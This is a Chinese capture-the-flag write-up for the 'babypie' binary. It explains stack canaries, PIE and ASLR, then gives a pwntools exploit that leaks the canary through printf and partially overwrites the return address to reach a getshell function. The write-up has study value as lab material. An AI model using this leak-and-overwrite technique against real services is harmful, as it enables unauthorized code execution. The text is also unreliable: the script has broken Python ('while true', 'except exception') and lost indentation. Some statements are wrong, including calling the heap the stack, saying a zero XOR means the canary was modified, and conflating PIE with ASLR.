前置知识:{
1.
PIE:
position-independent executables, 位置无关的可执行文件,也就是常说的
ASLR(Address space layout randomization) 地址随机化,程序每次启动基址都随机。
一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作。
分三种情况:
(1) 0 - 表示关闭进程地址空间随机化。
(2) 1 - 表示将mmap的基址,stack和vdso页面随机化。
(3) 2 - 表示在1的基础上增加栈(heap)的随机化。
2.canary保护机制开启后,x86_64下从fs:0x28偏移处获取canary,并且放在%ebp-0x8位置,程序返回之前再取出,与fs:0x28处的值作异或运算,结果为0则为修改,正常返回,不为0则执行__stack_chk_fail函数处理异常
3.printf 使用 %s 时, 遇到 \0 结束, 覆盖 canary 低位为非 0 值时, canary 就可以被 printf 打印出来了
}
文件链接:https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA
提取码:4olb
搭建环境:

1.查看文件的保护机制

2.ubuntu运行ida的远程调试文件,idax64打开文件


打开后发现函数窗口有getshell函数。然后进入main函数

跟进到sub_960函数

可以发现有两个read函数中间夹着一个printf函数,第一个read可以覆盖到%ebp上面的canary(这里把canary最高字节的\x00覆盖掉,不然printf函数无法泄露canary值),printf函数输出canary值。第二个read函数栈溢出,可以覆盖eip,由于上面泄露了canary值,可以绕过canary值检测。多次加载程序发现,无论多少次程序加载,代码段的最后12位,是不变的。(通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的)

可以看到,getshell函数的地址,跟返回地址只有最后的12位是不同的,但是read按照的是字节写入,可以尝试写入\x3E\x3A,直到程序不崩溃,则成功getshell

看一下有漏洞的函数的伪代码
注:printf函数的%s是从栈中的高字节向低字节取
3.编写exp
from pwn import *
context.binary = './babypie'
while true:
try:
link = remote("192.168.93.137","6666")
payload1 = 'A'*(0x30-0x8+1)
link.sendafter(":\n",payload1)
canary ='\0' + link.recv(7)
#recv(N) 接受 N(数字) 字符;
canary.encode('hex')
#'\x11\x22\x33\x44'.encode('hex') 是shellcode转16进制
#'abc123451'.decode('hex')是16进制转shellcode
payload2 = 'A'*(0x30-0x8) + canary + 'BBBBBBBB' + '\x3E\x3A'
link.sendafter(":\n",payload2)
link.interactive()
#也可以: canary = u64('\x00'+link.recv(7))
#然后 payload2 = 'A'*(0x30-0x8) + p64(canary) + 'BBBBBBBB' + '\x3E\x3A'
#再 link.sendafter(":\n",payload2)
#payload2中的8个B是覆盖ebp
#u64即将shellcode变成整数,p64则反之 (ps:必须要是8字节)
except exception as ka:
link.close()
print ka
运行脚本,getshell,查看flag
